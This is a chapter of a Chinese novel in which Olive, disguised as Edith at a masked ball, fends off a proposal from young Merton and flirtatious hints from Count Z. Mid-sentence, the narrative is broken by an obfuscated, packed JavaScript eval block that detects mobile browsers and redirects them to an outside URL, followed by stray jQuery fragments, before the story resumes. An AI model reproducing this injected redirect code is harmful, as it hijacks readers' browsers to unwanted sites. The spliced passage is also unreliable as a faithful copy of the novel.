德·雷斯托夫人望一眼公爵夫人，眼睛再移到奥丽芙身上，神色很奇怪，却说不出话，这就更令人起疑。


    于是，大家疑问的目光都跟随她投到奥丽芙身上。奥丽芙只好硬起头皮，准备解释嗓音变化的缘由，指望德·雷斯托夫人能趁机转过弯，帮她遮掩两句。


    正要开口，德·雷斯托走过来，大声说：“库珀小姐，能和我跳支舞吗？”


    说完，他立即抓起奥丽芙的手，脸上一副勇敢的表情，向他母亲和其他几人一点头。


    德·雷斯托夫人这才尴尬地笑着，为儿子的无礼行为向几位夫人道歉，夫人们都乐意看到别人的风度举止远不及她们自己，宽宏地笑了笑。


    舞曲响起，德·雷斯托低声说：“别担心，小姐。”


    这是奥丽芙第一次和德·雷斯托跳舞，谁都知道，休伯特·德·雷斯托从来不和库珀小姐之外的女孩共舞。


    奥丽芙非常感激。“谢谢你，子爵。”她悄悄说，“还能请你再帮个忙吗？请替我向公爵夫人说一声，就说我嗓子不大好，没法陪她们说话了。——等会儿我就要回去。”


    “当然，小姐，你放心。”


    德·雷斯托答应后，欲言又止地瞅着她。


    奥丽芙急忙说：“库珀小姐今天不太舒服。”


    许久后，德·雷斯托小心翼翼问：“她不太难受吧，我希望？”奥丽芙正好抬眼看他，看见他眼中忧伤的神情。


    刚听说要举办舞会的消息时，从大家的闲聊中，奥丽芙得到的印象仿佛是德·雷斯托并未被邀请参加：因为他母亲与韦克林公爵夫人不熟，而公爵夫人虽然喜欢彬彬有礼的青年，德·雷斯托却有些太腼腆了，不大在她面前献殷勤。


    如果真是那样，德·雷斯托后来肯定做了一番努力，使自己最终能出现在这儿。这全是为了伊迪丝——他知道伊迪丝多么看重这场舞会。他并未期盼准能与她跳舞，只是想看看她打扮后的样子。


    奥丽芙被感动了。德·雷斯托自然对所发生的事一无所知，舞场中的人应该都还没听到关于范德梅尔伯爵的消息。别人顶多只为伯爵今晚没来感到奇怪，只有德·雷斯托一人，他为范德梅尔伯爵与伊迪丝两人同时缺席这一事实感到伤心。


    奥丽芙微笑着对德·雷斯托说：“到明天，库珀小姐一定就好多了。我来之前，看到她在房间里休息。”


    “啊。”德·雷斯托宽心地叹了一声。


    跳完这支舞，恐怕不会有其它事了，奥丽芙打算再等几分钟就离开。


    这时，小默顿直挺挺地走到她面前，躬身邀请她。


    奥丽芙随他步入舞池。她在其它舞会上与小默顿跳过几回，记得他跳舞时从不说话。自然，今天她也用不着开口，她的目光向下，不觉被小默顿的佩剑吸引了。


    这是把十六世纪风格的细剑。剑柄镶着银丝，护手上刻满了美丽的花纹。


    道具剑可做不了这么精细，这肯定是真剑，是真正古老家族所拥有的古老武器。除过那位不幸失去继承权、逃亡国外的先生外，默顿家族的祖先中，一定还有人决斗过，说不定用的正是这柄剑。——尽管小默顿不像罗密欧，但奥丽芙对他的佩剑倒很艳羡。


    假若不是今天这个场合，她会请求细看一番。


    她渴望拔剑出鞘，向那位当前不在场的仇敌，做出一个勇猛、利落的刺杀动作。当然，这只是想想而已。还是将对罪犯的制裁，留给铁面无私的法律吧。


    谁知这一次，小默顿竟先开了口，他说：“库珀小姐，你一定早已看出了我对你的仰慕。”他停下，似乎是要定定神。


    奥丽芙吃了一惊。万没料到小默顿会这么开场，还把她错当成伊迪丝！


    “我——”她还没说完一个字，小默顿踏错了步子，险些踩到她。


    小默顿旋即道歉，一口气地说：“库珀小姐，请原谅我跳舞心不在焉，因为我心中极不安宁，除非说出我的心里话——


    “很抱歉我在这个时候提出。本来我愿意等到一个更安静、更正式的场合，但今天晚上，你使我看到，我的一切忍耐和压抑都是徒劳的。我无法再拖延下去了。我对你一往情深，我希望有幸能得到你的心。库珀小姐，你什么都不缺，我几乎无法提供任何你想要的东西。但你会看到，备受尊崇的地位会给人带来金钱无法带来的好处。嫁给我，你将获得这样的地位，你会拥有一个更荣耀的姓氏，有朝一日，别人会称你为默顿公爵夫人。”


    可能因为穿着一身罗密欧装束，也可能因为他们身处盛大的舞会中，小默顿的声音比以往多了一些热情，但也只是稍稍多一点而已。


    奥丽芙的心跳都没加快——就算加快，也只是因为眼下情形太尴尬。哪怕小默顿是对她本人表露心迹也无法使她激动——要不是这些话还有点好笑，一个姑娘几乎不可能收到更乏味的表白了。


    她抬头看了一眼小默顿。小默顿个子高，视线只会落在她发心。但他的目光根本没落在她身上，而是盯着她身后某个地方。他脸上没有表情，至少没有与他话语中深情厚意相搭配的表情。


    这能算什么“深情厚意”啊，他连求爱的对象都认不出来，还大谈“崇高地位能带来的好处”，他对伊迪丝的内心和对她的外表一样不了解。


    奥丽芙被人求过婚，知道淑女在这种场合该如何得体地回复，好顾全对方的面子。不过，冒充别人回复，再委婉的语句也没法“得体”，要是小默顿发现她不是伊迪丝，肯定会羞愤死的。


    虽然一般来说，小默顿是个亲切、宽厚的人，但谁知道在遭此“羞辱”时，他会不会愠怒失态，别忘了，他还随时可以抽出剑呢，可别闹出乱子来。这回，一个字都不能出口，甚至不能用眼睛表达。


    奥丽芙唯独感激小默顿是在跳舞中间求婚，要是换个安静的场合，就非得逼她开口了。她做出一点害羞的模样，向旁边望望，假装担心别人听到。


    因为要说话，小默顿没有一步和乐曲合上拍，他们二人只是在舞池中慢悠悠转来转去，但是，他们的姿态还算优雅，而且，可能是小默顿带有华丽刺绣的深红色上衣配着奥丽芙雅致的白裙子，格外令人赏心悦目，奥丽芙感到，周围的人纷纷投来羡慕的目光。这时，他们又转到了舞池边，站在那儿的默顿公爵正望着他们二人，脸上显出欣慰、赞许的笑容。


    不单单是赞许，那一瞬间，奥丽芙敢说，她看见了一个真正的“夏洛克”——对财富的渴求，深深映在了默顿公爵脸上。


    奥丽芙有点明白了：对婚事，小默顿本人未必有多么热心，但是，身负家族对继承人的期许，他认为，必须娶一位能给默顿家族带来巨大利益的妻子。


    奥丽芙决定冒个险：她对自己的舞伴瞅了一眼，警告地摇摇头。


    小默顿的表情既像是失望，又像是松了口气。他接着说：“我知道，可能对你太突然了，你不用马上答复我。”


    奥丽芙又坚决地摇了一次头。“你不肯答应吗？”小默顿语气低落下去，停了好一会儿，他说，“我早就料到了。不过，或许有一天你会改变主意。请记住，不管你现在或将来的答复如何，我永远是你忠实的朋友和仆人。”


    他抓住奥丽芙的那只手用力将她的手压了压，但再没有什么放肆的举动。两个人在沉默中消磨完剩下的半支曲子。


    这支舞跳得真累，与小默顿分开后，奥丽芙找了个座位坐下。还没等她休息一会儿，Z伯爵拿着两杯饮料走来。


    “小姐，我非常喜欢你今天这种煤玉一般的头发。”一坐下他就说。


    奥丽芙知道Z伯爵肯定早就认出来了，没必要在他面前假装，但她一点都不想和他交谈，于是，依然沉默不语。


    Z伯爵接着说：“我还不知道，现在流行把这里涂这么重吗？”他用手指往眼圈上比了比，看见奥丽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131912|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    芙的目光，急忙又补充，“当然，当然，很好看，特别是在戏台上，或者穿戏装的时候。”


    涂成深色的眼眶会使眼睛显得更大、更醒目，同时使别人注意不到眼珠原本的颜色。不过，Z伯爵是在暗示昨天的事。奥丽芙向四周望了一下，找到斯塔福德侯爵小姐的身影，视线划出长长的弧度，最终停在Z伯爵身上。


    Z伯爵没看侯爵小姐，还在向奥丽芙全身打量，笑着说：“小姐，你从头到脚都非常像阿尔忒弥斯，不需要加上弓箭说明。但我不由想到，库珀先生收藏着一把弓箭——真是件大家伙，不过，可能还挺好使——要是你背着它，我们就可以切磋一下箭术了，或者，更恰当的说法是，我斗胆向你请教。”


    罗宾汉的箭术天下闻名，而狩猎女神当然走到哪里都离不开她的金弓金箭。奥丽芙嘴边不禁露出一点笑意。


    “啊，你终于笑了。”Z伯爵喜悦地说，“刚才我一直忐忑不安，简直不敢过来和你说话。你又不肯告知我哪里开罪了你，我只好自己胡思乱想：前天我们分别的时候还很友好，今天又是刚刚见面，那就只能是昨天了。而昨天——你要知道，小姐，那些烦人的应酬有多少，有时实在推不开。”


    得知因姆克落网，伊迪丝平安归来，奥丽芙的心情已经放松了不少，没法当真去怪Z伯爵。但这种话她可不爱听。她正色摆了摆手，指指自己的喉咙，意思是自己因为嗓子原因不愿说话，与Z伯爵和谁应酬无关。


    “我晓得，我晓得。”Z伯爵马上点头，“你放心，我不会讲出去。不然，别人不说，德·雷斯托子爵肯定第一个提出决斗，而我真不愿伤了他，别看他披盔戴甲，一样不是我的对手。至于那位佩剑的先生嘛——请相信，我使剑不亚于使弓，所以，更不在话下。”


    奥丽芙不知道他是随便吹吹牛，还是另含深意。


    “好了，干坐着惹人见疑，我们还是跳舞去吧，跳舞就不必开口了。”


    然而，一曲中，他还是低低说了一句：“我猜你要扮成海岛上的公主，不算很错。阿耳忒弥斯也可能出现在海边——月光下的大海，赤脚走在沙滩上。”


    真奇怪，奥丽芙自己正在想着大海。她面朝一轮圆月之下、深蓝色、波光粼粼的海面。阿耳忒弥斯，月亮女神和狩猎女神，月亮因她升起，海潮为她涌来，她轻盈的脚步落在沙滩上，波浪冲刷着她赤裸的双足。她英姿飒爽，背着弓箭。她向大海眺望，会看见什么？


    深深，幽幽，她看着Z伯爵海水蓝的眼睛。


    .


    奥丽芙望一眼厅里的大钟，这时，她的舞会上已经呆了快一个小时，和几乎所有年轻男士都跳过一支舞了。瞅了个没人注意的时候，她悄悄离开舞厅。


    奥丽芙认为，这个晚上自己肯定难以入眠，她想出去透透气，便没有回房，径自走到大楼外。


    舞会大厅辉煌的灯烛映在窗上，一阵阵乐曲和喧闹传出来，而伊迪丝房间的窗户则黑忽忽、静悄悄的。


    站了几分钟，奥丽芙准备回去，进门前，她看到一辆马车慢慢停了过来，驾驶座上那个是Z伯爵的仆人，之前在SevenDials救了她的吉姆。


    奥丽芙刚刚感到意外，就看见Z伯爵脚步匆匆奔出来，与吉姆小声说了一阵话。


    接着，跳上车之前，Z伯爵忽然转头望向奥丽芙。她便上前问：“你这么早就走，伯爵？”


    Z伯爵露出一张笑脸：“你不是也一样，小姐？”又低低补一句，“我在舞厅里烦闷地转了几圈，只好走。”


    舞会提前退场不是Z伯爵的一贯作风，他的语气似乎暗示奥丽芙离开是他离开的原因。奥丽芙板起面孔。


    Z伯爵大笑着说：“我认为跳舞不管跳几支，只要能尽兴就好，大可不必非得跳到两三点之后。这个时间走最合适不过了，吹吹夜风，从从容容回家。对吧，吉姆，我们可以慢点。晚安，小姐。”